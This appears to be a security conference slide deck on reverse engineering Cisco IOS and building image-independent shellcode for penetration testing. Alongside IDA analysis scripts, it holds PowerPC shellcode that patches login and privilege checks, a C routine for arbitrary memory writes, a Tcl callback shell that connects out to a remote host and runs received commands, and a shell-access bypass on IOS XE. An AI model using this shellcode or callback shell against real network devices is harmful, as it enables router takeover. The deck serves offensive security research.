Cisco IOS shellcode: All-in-one

CISCO IOS SHELLCODE: ALL-IN-ONE
George Nosenko
gnosenko@dsec.ru

George Nosenko
• Security researcher at Digital Security
• Bug Hunter
• Exploit Developer

Agenda
Part 2: Cisco IOS Shellcoding
• Motivation
• Main Problems
• Image-independet Shellcodes
 Disassembling Shellcode
 Interrupt-Hijack Shellcode
• Tcl Shellcode
 How does it work?
 Features
 Limitations
 How is it made?
Part 1: Cisco IOS Reverse Engineering
• Main Problem
• Subsystem
• Registry
• Processes
• Glue Code / Simple Code / Dead Code
• Command Parser
• Where is libc?
• Other
• How to debug Cisco IOS
• How to debug Cisco IOS XE

Prior works
Attacking Network Embedded System Felix ‘FX’ Lindner 2002
The Holy Grail Cisco IOS Shellcode And Exploitation Techniques Michael Lynn 2005
Cisco IOS Shellcodes Gyan Chawdhary, Varun Uppal 2007
Remote Cisco IOS FTP Exploit Andy Davis 2007
Killing the myth of Cisco IOS rootkits: DIK Sebastian Muniz 2008
Cisco IOS - Attack & Defense. The State of the Art Felix ’FX’ Lindner 2008
Router Exploitation Felix ’FX’ Lindner 2009
Fuzzing and Debugging Cisco IOS Sebastian Muniz, Alfredo Ortega 2011
Killing the Myth of Cisco IOS Diversity Ang Cui, Jatin Kataria, Salvatore J. Stolfo 2011
Research on Cisco IOS Security Mechanisms Xiaoyan Sua 2011
Cisco IOS Rootkits and Malware Jason Nehrboss 2012
SYNful Knock A CISCO IMPLANT Bill Hau, Tony Lee, Josh Homan 2015

Cisco Diversity Overview
Operation Systems
Cisco IOS
Cisco IOS XE (based on Linux)
Cisco NX-OS (based on Linux)
Cisco IOS XR (based on QNX)
ASA OS (based on Linux)
CatOS
Architectures
PowerPC (Book-E)
MIPS
Intel x86_x64
Over 300 000 unique images
Killing the Myth of Cisco IOS Diversity

Part 1
CISCO IOS RE

Main problem
• Designed as a single unit - a large, statically linked ELF binary
• Everything is highly integrated and non-modular
• There is no API
Image size ≈ 142 MB
Functions ≈ 350 000
IDA Database ≈ 2.5 GB
Binwalk ≈ 100 GB

Reverse in context
Inside Cisco IOS Software Architecture
Vijay Bollapragada, CCIE
Curtis Murphy, CCIE
Russ White, CCIE
Cisco IOS Programmer’s Guide
Architecture Reference
Software Release 12.0
Fifth Edition
February 1999

Unpacking Firmware
• The image may be self-decompressing
• The image may contain:
 loader
 driver for flash
 firmware for additional hardware
 certificates
• Binwalk will work successfully, but it generates a large output
• To automate the analysis, you need to write an unpacker
Killing the myth of Cisco IOS rootkits: DIK

Trace strings
Function names
Trace strings

Trace strings
def rename_funcs(strings=None, pattern=None):
names = [s for s in strings if re.search(pattern, str(s)) is not None]
for name in names:
for ref in DataRefsTo(name.ea):
old_name = GetFunctionName(ref)
func_addr = LocByNameEx(ref, old_name)
if func_addr == BADADDR or
has_user_name(getFlags(func_addr)):
break
MakeName( func_addr, str(name))
break
if __name__ == "__main__":
rename_funcs(strings=Strings(), pattern=r'^[a-z]{3,}_[a-z]+_')
≈ 8.5%

Subsystems
struct subsystype_
{
unsigned int magic1;
unsigned int magic2;
unsigned int header_version;
unsigned int kernel_majversion;
unsigned int kernel_minversion;
char* namestring;
unsigned int subsys_majversion;
unsigned int subsys_minversion;
unsigned int subsys_editversion;
void* init_address;
SUBSYSTEM_CLASS class;
unsigned int id;
char* properties[SUBSYS_MAX];
};
Router# show subsys ?
class Show subsystems by class
memory Show subsystems memory usage
name Show subsystems by name
running Show subsystem information about running processes
| Output modifiers
<cr>
Router# show subsys
Name Class Version
cef Kernel 1.000.000
hw_api_trace_chain Kernel 1.000.001
mtrie Kernel 2.000.001
adj_trace_chain Kernel 1.000.001
alarm Kernel 1.000.001
arp Kernel 1.000.001
arp_app_data Kernel 1.000.001
...

Subsystems
All data relating to a subsystem is located below the header

Subsystems
def create_subsytems(name='subsystype_'):
for seg in get_data_segment():
for ea in search(start=seg.startEA, end=seg.endEA, pattern='C1 5C 05 15 C1 5C 05 15'): # it uses FindBinary
p_name, p_func, sysclass = Dword(ea + 0x14), Dword(ea + 0x24), Dword(ea + 0x28)
SetColor(p_func, CIC_FUNC, get_color_by_subsysclass(sysclass))
func_name = GetString(p_name)
if func_name == '':
continue
if not has_user_name(getFlags(p_func)):
print "ea: 0x%x 0x%x %s" % (ea, p_func, func_name)
MakeNameAuto(p_func, func_name + '_subsys_init', SN_NOCHECK)

Registries and Services
• Linker-independent mechanism
• Service is an interface into subsystem
• Registry is a collection of services
• Service emulates common C
construct (loop, switch, etc.)
• 8-12 different types
Router# show registry
--------------------------------------------
CDP : 96 services
CDP / 1 : List list[001]
0x062E6F38
...
CDP / 14 : Case size[000] list[003] default=0x05B4ED60 return_void
1 0x046D03BC
2 0x046D04F4
3 0x046D05D4
CDP / 15 : Value size[000] list[000] default=0
CDP / 16 : Stub 0x064F9230
...
CDP / 21 : Stub 0x05B4ED64 return_zero
...
CDP / 38 : List list[004]
0x06B42A88
0x04D24970
0x06747680
0x06A0CB50
...
CDP / 54 : Loop list[005]
0x06A859CC
0x08CA07F0
0x087AC228
0x07EF5CE8
0x084B034C
...
CDP / 57 : Retval size[000] list[000] default=0x046CB720
...
CDP : 96 services, 440 global bytes, 600 heap bytes
[REG_NAME][NUM_SERVICE][TYPE](SUB)[ADDR]
≈ 7.4%

Process (is equivalent of a thread)
#include “sched.h”
pid_t cfork(forkproc (*padd), long pp, int stack, char *name, int ttynum);
pid_t process_create(process_t (*padd), char *name, stack_size_t stack, process_priority_t priority);
. . .
result = process_create(bootload, “Boot Load”, LARGE_STACK, PRIO_NORMAL);
if (result != NO_PROCESS) {
process_set_arg_num(result, loading);
process_set_ttynum(result, startup_ttynum);
}
Router# show processes
CPU utilization for five seconds: 2%/0%; one minute: 2%; five minutes: 2%
PID QTy PC Runtime (ms) Invoked uSecs Stacks TTY Process
1 Cwe 5B63990 152 11998 1225228/26000 0 Chunk Manager
2 Csp 6DE5568 48 37481 122612/23000 0 Load Meter
3 Mwe 44929A4 12 182631 028740/29000 0 BGP Scheduler
4 Mwe 7A426D8 0 11 025748/26000 0 Retransmission

Process. How to find a process_create() fast
Router# show memory processor | include Process
Address Bytes Prev Next Ref PrevF NextF Alloc PC what
12474BAC 0000000160 124737F8 12474C78 001 -------- -------- 08DF1798 *Init*
12474C78 0000000160 12474BAC 12474D44 001 -------- -------- 08DF1798 *Init*
...
1247BD18 0000004288 1247B710 1247CE04 001 -------- -------- 0638C148 TTY data
12483A50 0000000688 12483984 12483D2C 001 -------- -------- 05B9AFDC Process
...
• Process is an internal structure (similar to PEB)
• Process is allocated in cfork() at 05B9AFDC
• A cfork () is called in process_create()

Process
def find_all_proocess(func=None, proc_name_reg='r4'):
ea = func.startEA
for i, ref in enumerate(CodeRefsTo(ea, True)):
proc_ep, proc_name = get_proc_entry_point(ref), get_proc_name(ref, dest_reg=proc_name_reg)
if proc_ep is None: continue
if has_dummy_name(GetFlags(proc_ep)):
if MakeNameEx(proc_ep, proc_name, SN_NOWARN) == 0:
print '[!] %d: MakeName failed ref=0x%x: 0x%x, %s' % (i, ref, proc_ep, proc_name)
SetColor(proc_ep, CIC_FUNC, COLOR)
if __name__ == '__main__':
find_all_proocess(func=get_func(get_name_ea(BADADDR, 'process_create'))

Glue Code / Simple Code / Dead Code
.text:041AF174 glue_sub_41AF174__memcpy:
.text:041AF174
.text:041AF174 3D 60 08 DF lis r11, _memcpy@h
.text:041AF178 39 6B 5F 24 addi r11, r11, _memcpy@l
.text:041AF17C 7D 69 03 A6 mtctr r11
.text:041AF180 4E 80 04 20 bctr
.text:041AF180 # End of function glue_sub_41AF174__memcpy
.text:04110830 get_value_at_wC0011F4_o110:
.text:04110830
.text:04110830 3D 20 0C 00 lis r9, off_C0011F4@h
.text:04110834 80 69 11 F4 lwz r3, off_C0011F4@l(r9)
.text:04110838 38 63 01 10 addi r3, r3, 0x110
.text:0411083C 4E 80 00 20 blr
.text:0411083C # End of function get_value_at_wC0011F4_o110
.text:0412E5FC return_one:
.text:0412E5FC 38 60 00 01 li r3, 1
.text:0412E600 4E 80 00 20 blr
.text:0412E600 # End of function return_one
FindBinary( 7D 69 03 A6 4E 80 04 20 )
FindBinary( 38 60 00 01 4E 80 00 20 )
FindBinary( 3D 20 ?? ?? 80 69 ?? ??
38 63 ?? ?? 4E 80 00 20 )
≈ 19%

Command Parser Tree
• Located under the subsystem header
• Node contains different information
depending on the type
• The root node has type = 0x56
struct tree_node
{
tree_node* right;
tree_node* left;
unsigned int type;
payload* data;
unsigned int unknown;
};
struct payload_cmd
{
char* name;
char* description;
...
permission priv;
...
};struct payload_handler
{
void* handler;
void* arg;
...
};
type = 0x1A
type = 0x45
type = 0x56
payload = 0x1A1A1A1A

Where is libc?
• In my case, libc is located at end of the code in .text
• libc is a layer over OS service
(printf, fopen, socket, malloc…)
• libc is a collection of base functions
(memcpy, strcpy, stncat…)
• A base function is a simple code i.e.
has a little cyclomatic complexity
Look for all simple functions around the end of the code

Magic People, Voodoo People!
Process
0xBEEFCAFE - Process Block
Memory
0xAB1234CD - Heap Block
0xFD0110DF - Red Zone
0xDEADB10B - Pool
0xAFACEFAD - Packet
Other
0x1A1A1A1A - Parser Root Node
0xABABABAB - TCP socket (TCB)
0xDEADCODE - Invalid interrupt handler
Image/Boot/Code signing
0xFEEDFACE - Envelope header
0xBAD00B1E - Flash Driver (atafslib)
0xBEEFCAFE - Key Record Info

Cisco Discovery
Router# show processes ?
cpu Show CPU use per process
memory Show memory use per process
Router# show memory ?
allocating-process Show allocating process name
io IO memory stats
processor Processor memory stats
summary Summary of memory usage per alloc PC
transient
Router# show stack 1
Process 1: Chunk Manager
Stack segment 0x1247D30C - 0x1248389C
FP: 0x12483860, RA: 0x5B9CBFC
FP: 0x12483888, RA: 0x5B63994
FP: 0x12483890, RA: 0x6DEEFA0
FP: 0x0, RA: 0x6DE8834
Router# show buffers all ?
dump Show buffer header and all data
header Show buffer header only
packet Show buffer header and packet data
pool Buffers in a specified pool
Router# show list
List Manager:
10944 lists known, 5907113 lists created
ID Address Size/Max Name
1 FA7CA30 10/- Region List
2 E9C9560 1/- I/O
3 E9C85D0 2/- Processor
Router# show tcp brief all
TCB Local Address Foreign Address (state)
57B455EC 0.0.0.0.64999 *.* LISTEN
56FAD21C 0.0.0.0.34154 *.* LISTEN
Router# show ip sockets
Router# show version
Router# show tech-support
Router# show inventory
Router# show module
Router# show region
Router# show module
Router# show platform hardware tlb

Debugging under Cisco IOS
Router> enable
Router# gdb kernel
• Cisco IOS contains a GDB server, but…
• It doesn’t work with a generic GDB client 
because the RSP protocol is a little different
• You can:
use ROMMON;
patch old GDB;
use IODIDE;
create an adapter for IDA Pro.

Debugging under Cisco IOS XE (3.3.5SE)
• Cisco IOS doesn’t contain a GDB server, but…
• You can build (static) gdbserver and GDB for target platform
• Then copy gdbserver to device and get Linux Shell
Switch> enable
Switch# configure terminal
Switch(config)# service internal
Switch(config)# end
Switch# request system shell
Activity within this shell can jeopardize the functioning of the system.
Are you sure you want to continue? [y/n] Y
Challenge:e2a41a61930e92d5da…
Please enter the shell access response based on the above challenge…
aaa | /bin/true
[Switch:/]$ uname -a
Linux Switch 2.6.32.59-cavium-octeon2.cge-cavium-octeon… mips64 GNU/Linux
• Attach gdbserver to process “iosd”
(flash:/ map at /mnt/sd3/user)
[Switch:/mnt/sd3/user/gdbservers]$ ./gdbserver.mips /dev/ttyS0 --attach 8566

Part 2
CISCO SHELLCODING

Motivation
Our pentesters often deal with Cisco equipment, particularly
with binary vulnerabilities
In public, there is no shellcode for the needs of pentesters
We need a flexible and powerful tool

Main problems / Earlier shellcode
.equ ret, 0x804a42e8 # hardcode
.equ login, 0x8359b1f4 # hardcode
.equ god, 0xff100000
.equ priv, 0x8359be64 # hardcode
main:
# login patch begin
lis 9, login@ha
la 9, login@l(9)
li 8,0
stw 8, 0(9)
# login patch end
# priv patch begin
lis 9, priv@ha
la 9, priv@l(9)
lis 8, god@ha
la 8, god@l(8)
stw 8, 0(9)
# priv patch end
# exit code
lis 10, ret@ha
addi 4, 10, ret@l
mtctr 4
bctrl
• There is no open API or syscall’s for a third party developer.
System calls are the interface into ROMMON
 put char in console
 reboot
 change confreg, etc
• Cisco IOS Binary Diversity
• Cisco IOS is highly integrated (static linked) one big ELF
without any modules (e.g. *.so)
Cisco IOS Bind shellcode by Varun Uppal
Cisco IOS Connectback shellcode by Gyan Chawdhary
Cisco IOS Shellcodes – BlackHat USA 2008
Tiny shellcode by Gyan Chawdhary

Image-independent shellcodes
1. Signature-based Shellcode by Andy Davis - Version-independent IOS shellcode, 2008
Invariant is a structure of code
2. Disassembling Shellcode by Felix ‘FX’ Lindner - Cisco IOS Router Explotation, 2009
Invariant is an unique string
3. Interrupt-Hijack Shellcode by Columbia University NY - Killing the Myth of Cisco IOS Diversity, 2011
Invariant is an interrupt handler routines
All leverage a common Cisco IOS invariant to overcome a binary diversity

Disassembling Shellcode
.data
.text
Basic technique
1. Find a unique string to determine its address
2. Look for a code which references this string
3. Patch the function
Pros & Cons
• Reliable - it works on a wide range of Cisco equipment
• Full interaction, but it is not a covert
• We have to be constrained by only IOS shell
• May cause watchdog timer exceptions to be thrown,
which terminates and logs all long running processes
Cisco IOS Router Explotation, 2009
Killing the Myth of Cisco IOS Diversity, 2011

Interrupt-Hijack Shellcode
Two-stage attack
Stage 1: 1. Unpack the second-stage shellcode
2. Locate ERET instruction
3. Intercept all interrupt handlers
Stage 2: 1. Receive command by looking for incoming packets with
specific format
2. Execute command
Pros & Cons
• Fast, Stealth, High Privilege
• Create a hidden channel over ICMP
• It has a complex structure, it operates asynchronously
• It presupposes a database containing the image-dependent
payload to stage 3
• Rootkit-oriented
Killing the Myth of Cisco IOS Diversity, 2011
Stage 1
Stage 2

Interesting fact about SYNful Knock
It seems that the SYNful Knock implant works in a similar way as
the Interrupt-Hijack shellcode does
FireEye: SYNful Knock A CISCO IMPLANT

Requirements to our shellcode
• Image and CPU architecture should be independent
• Works on a wide range of Cisco equipment
• Pentest-oriented
• The most powerful and flexible
• So fast that not to be caught by a watchdog

Demo 0x01

Tool Command Language
• Invented by John K. Ousterhout, Berkeley, 1980s
http://www.tcl.tk
• Interpreted Language, runtime available for many
platforms (socket, files, regexp, list, etc.)
• Tcl has been included in Cisco IOS as a generic
scripting language since 2003 (Release 12.3(2)T)
• In IOS, Tcl is extended by special commands:
 exec - executes an IOS shell command
 ios_config - changes configuration
 typeahead - emulates a user input
 etc.
• Tcl Policy for Embedded Event Manager (EEM)
Cisco Feature Navigator

Tcl and Pentesting
• Almost the only way to extend the functionality of Cisco IOS
• Tcl scripts are portable between different platforms
Backdoors
Creating Backdoors in Cisco IOS using Tcl
Tools
IOSMap: TCP and UDP Port Scanning on Cisco IOS Platforms
IOScat - a Port of Netcat's TCP functions to Cisco IOS
Malware
IOSTrojan: Who really owns your router?
Cisco IOS Rootkits and Malware (Hakin9 Vol2 No4)
More Ideas (Twitter as CC, Bot, Flood, Exploit)
Attacking with Cisco devices PH-Neutral 2009
Attacking with Cisco devices Hashdays 2010
Attacking with Cisco devices HSLU 2011
Cisco Support Community/EMM Scripting
Shellcode
Felix ‘FX’ Lindner first proposed the use of Tcl in
the shellcode Cisco IOS Router Explotation

Tcl Shellcode. How does it work?
Stage 1
1. Determine the memory layout
2. Look for the Tcl subsystem in .data
3. Find a Tcl C API table within this subsystem
4. Determine addresses of all handlers for Tcl IOS
command extension
5. Create new Tcl commands
6. Create new Tcl Interpreter by using Tcl C API
7. Run a Tcl script from memory
(script is integrated in shellcode)
Stage 2
1. Script connects to the “callback” server
2. Evaluate any Tcl expression received from the server
cisco router
callback server
listen TCP(1337)
evil host
Tcl
Txt
.text
Tcl_Iterp
shellcode
script

Determine the memory layout
Motivation
• To reduce the search time
• Not to cause an access violation
Router# show platform hardware tlb
Virt Address range Phy Address range W-I-M-G-E-S Attr TS ESEL
============================================================================
0xFF000000-0xFFFFFFFF 0x0_FF000000-0x0_FFFFFFFF 1-1-0-1-0-0 RWX 0 (0)
. . .
0x04000000-0x07FFFFFF 0x0_04000000-0x0_07FFFFFF 0-0-1-0-0-0 RWX 0 (5)
0x08000000-0x0BFFFFFF 0x0_08000000-0x0_0BFFFFFF 0-0-1-0-0-0 R-X 0 (6)
0x0C000000-0x0FFFFFFF 0x0_0C000000-0x0_0FFFFFFF 0-0-1-0-0-0 RW- 0 (7)
. . .
• Have to use the System Purpose Registers (SPR)
• This method depends on the processor architecture
• We can skip this step
• Because our shellcode is developed in C, it's not a big
problem

Looking for the Tcl subsystem
Motivation
• To reduce the search time
• All data relating to the Tcl subsystem is located below the header
• All functions relating the Tcl subsystem is located within tcl_subsys_init
• Locate all subsystems by signature C15C0515 C15C0515
• Find the Tcl subsystem by name “tcl”
subsystype_ <0xC15C0515, 0xC15C0515, 1, 0, 0, "tcl", 2, 0, 1, tcl_subsys_init, Library, 0, 0, 0>

Find Tcl C API Table
Tcl C API
• used for embedding
• used for extending
• Tcl API
• To abstract the specifics of the platform, a function’s
pointer table tclStubs is used
• We can get address of tclStubs by looking for the
signature 0xFCA3BACF
#define TCL_STUB_MAGIC 0xFCA3BACF
TclStubs tclStubs =
{
TCL_STUB_MAGIC,
&tclStubHooks,
Tcl_PkgProvideEx, /* 0 */
Tcl_PkgRequireEx, /* 1 */
Tcl_Panic, /* 2 */
. . .
Tcl_CreateCommand, /* 91 */
Tcl_CreateInterp, /* 94 */
Tcl_DeleteInterp, /* 110 */
Tcl_Eval, /* 129 */
Tcl_Exit, /* 133 */
. . .
}

Determine address of a handler for an extension
Motivation
• We want to use the Tcl IOS extensions
• We already have (in tclStubs ) the address of
Tcl_CreateCommand
• So, we can locate all the places where it is called
• Then we can get the handler’s address and the
name of extension by disassembling
Tcl_Command Tcl_CreateCommand _(
Tcl_Interp * interp,
char * cmdName,
dTcl_CmdProc * proc,
ClientData clientData,
Tcl_CmdDeleteProc * deleteProc);
3C 80 09 94 lis r4, aIos_config@h # "ios_config"
3C A0 05 A7 lis r5, ios_config@ha
38 84 12 44 addi r4, r4, aIos_config@l # cmdName
38 A5 DF 0C addi r5, r5, ios_config@l # cmdProc
38 C0 00 00 li r6, 0 # clientData
38 E0 00 00 li r7, 0 # deleteProc
7F E3 FB 78 mr r3, r31 # interp
48 01 0F 8D bl Tcl_CreateCommand

Create your own Tcl command
int wmem(void* clientData, void* interp, int argc, char** argv) // wmem addr value
{
Interp* iPtr = (Interp *) interp;
unsigned int* ptr = NULL;
unsigned int value = 0;
if(argc != 3) {
iPtr->stubTable->tcl_AppendResult(interp, "wrong args", (char *) NULL);
return TCL_ERROR;
}
if(iPtr->stubTable->tcl_GetInt(interp, argv[1], &ptr) != TCL_OK) return TCL_ERROR;
if(iPtr->stubTable->tcl_GetInt(interp, argv[2], &value) != TCL_OK) return TCL_ERROR;
*ptr = value; // write to an arbitrary address
return TCL_OK;
}

Run Tcl script from memory / Eval^2
void shellcode() {
. . .
Tcl_Interp* interp = Tcl_CreateInterp();
Tcl_CmdProc* tcl_exec =
find_Tcl_command(subsys->init_address, 1MB, "exec",
Tcl_CreateCommand);
if(tcl_exec != NULL){
Tcl_CreateCommand(interp, "exec", tcl_exec, 0, 0);
}
Tcl_CreateCommand(interp, "wmem", wmem, 0, 0);
const char* script =
#include "./tcl/stage2.tcl"
;
Tcl_Eval(interp, script);
. . .
}
# ./tcl/stage2.tcl
set sockid [ socket "192.168.1.2" 1337]
while {1}
{
flush $sockid
set line [gets $sockid]
catch {eval $line} cmdres
puts $sockid $cmdres
}
close $sockid

Features / Properties / Limitations
Properties
• Image-independent
• It’s easy to port to other CPU architecture
• Approach can be applied to Cisco IOS XE
• No need to worry about a watchdog
• Hijack a process
Limitations
• Tcl is not everywhere
• The relatively large size (2KB – 2.5KB)
• We can not create a Tcl server
• It uses an open channel (TCP connection)
Features
• We have a shell with the highest level of privileges
• We can work with file system and sockets
• We can read/write memory:
• to change behavior of Cisco IOS
• to analyze IOMEM
Advanced Features
• Macro Command (e.g. create GRE tunnel)
• Automation of attacks
• Reuse other TCl tools
• ROMMON Trojan

Demo 0x02

Conclusion

The End
www.dsec.ru
gnosenko@dsec.ru

Cisco IOS shellcode: All-in-one

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Cisco IOS shellcode: All-in-one